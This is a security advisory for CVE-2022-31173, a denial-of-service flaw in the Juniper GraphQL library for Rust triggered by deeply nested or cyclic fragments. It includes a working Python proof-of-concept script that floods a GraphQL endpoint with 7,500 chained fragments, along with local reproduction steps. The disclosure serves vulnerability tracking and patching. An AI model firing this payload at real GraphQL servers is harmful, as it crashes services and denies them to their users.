CVE-2022-31173: Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
GraphQL behaviour
Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.
# Infinite loop example
query {
...a
}
fragment a on Query {
...b
}
fragment b on Query {
...a
}
POC TLDR
With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:
However, with a lower size, you will overflow the memory after some iterations.
Reproduction steps (Juniper)
git clone https://github.com/graphql-rust/juniper.git
cd juniper
Save this POC as poc.py
import requests
import time
import json
from itertools import permutations
print('=== Fragments POC ===')
url = 'http://localhost:8080/graphql'
max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]
fragment_payloads = ''
for i, perm in enumerate(perms):
next_perm = perms[i+1] if i < max_size-1 else perms[0]
fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'
payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}
headers = {
'Content-Type': 'application/json',
}
try:
response = requests.request('POST', url, headers=headers, json=payload)
print(response.text)
except requests.exceptions.ConnectionError:
print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py
Credits
@c3b5aw @MdotTIM @karimhreda
References
- github.com/advisories/GHSA-4rx6-g5vg-5f3j
- github.com/graphql-rust/juniper
- github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md
- github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb
- github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22
- github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j
- nvd.nist.gov/vuln/detail/CVE-2022-31173
- rustsec.org/advisories/RUSTSEC-2022-0038.html
Code Behaviors & Features
Detect and mitigate CVE-2022-31173 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →